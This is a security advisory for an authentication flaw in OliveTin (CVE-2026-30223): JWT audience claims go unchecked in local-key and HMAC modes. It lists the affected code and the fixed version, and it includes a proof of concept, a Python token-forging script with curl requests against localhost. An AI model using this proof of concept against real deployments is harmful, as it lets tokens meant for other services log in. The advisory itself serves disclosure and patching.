github.com/OliveTin/OliveTin
Affected
- introduced
0, fixed0.0.0-20260304231339-e97d8ecbd8d6(semver)
Fixed versions
0.0.0-20260304231339-e97d8ecbd8d6
Fix
- Fixed version
0.0.0-20260304231339-e97d8ecbd8d6go get github.com/OliveTin/[email protected]
Advisory
Also known as: CVE-2026-30223, GO-2026-4622
OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes
Summary
When JWT authentication is configured using either:
authJwtPubKeyPath (local RSA public key), orauthJwtHmacSecret (HMAC secret),the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Details
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
PoC
Use a minimal config with JWT local key authentication:
authJwtPubKeyPath: ./public.pem
authJwtHeader: Authorization
authJwtClaimUsername: sub
authJwtAud: expected-audience
authRequireGuestsToLogin: true
python3 - <<EOF
import jwt, datetime
with open("private.pem") as f:
key = f.read()
token = jwt.encode(
{
"sub": "low",
"aud": "wrong-audience", # intentionally wrong
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
},
key,
algorithm="RS256"
)
print(token)
EOF
This prints the $WRONG_AUD_TOKEN.
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-d '{}'
Expected response:
HTTP/1.1 401 Unauthorized
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $WRONG_AUD_TOKEN" \
-d '{}'
Expected response:
HTTP/1.1 200 OK
{"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
Authentication succeeds even though the aud claim is incorrect.
Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
This is particularly severe when:
This does not bypass ACL authorization.
It is strictly an authentication validation flaw.
High Basis: The source's own band: HIGH
0, fixed 0.0.0-20260304231339-e97d8ecbd8d6 (semver)0.0.0-20260304231339-e97d8ecbd8d6
0.0.0-20260304231339-e97d8ecbd8d6go get github.com/OliveTin/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0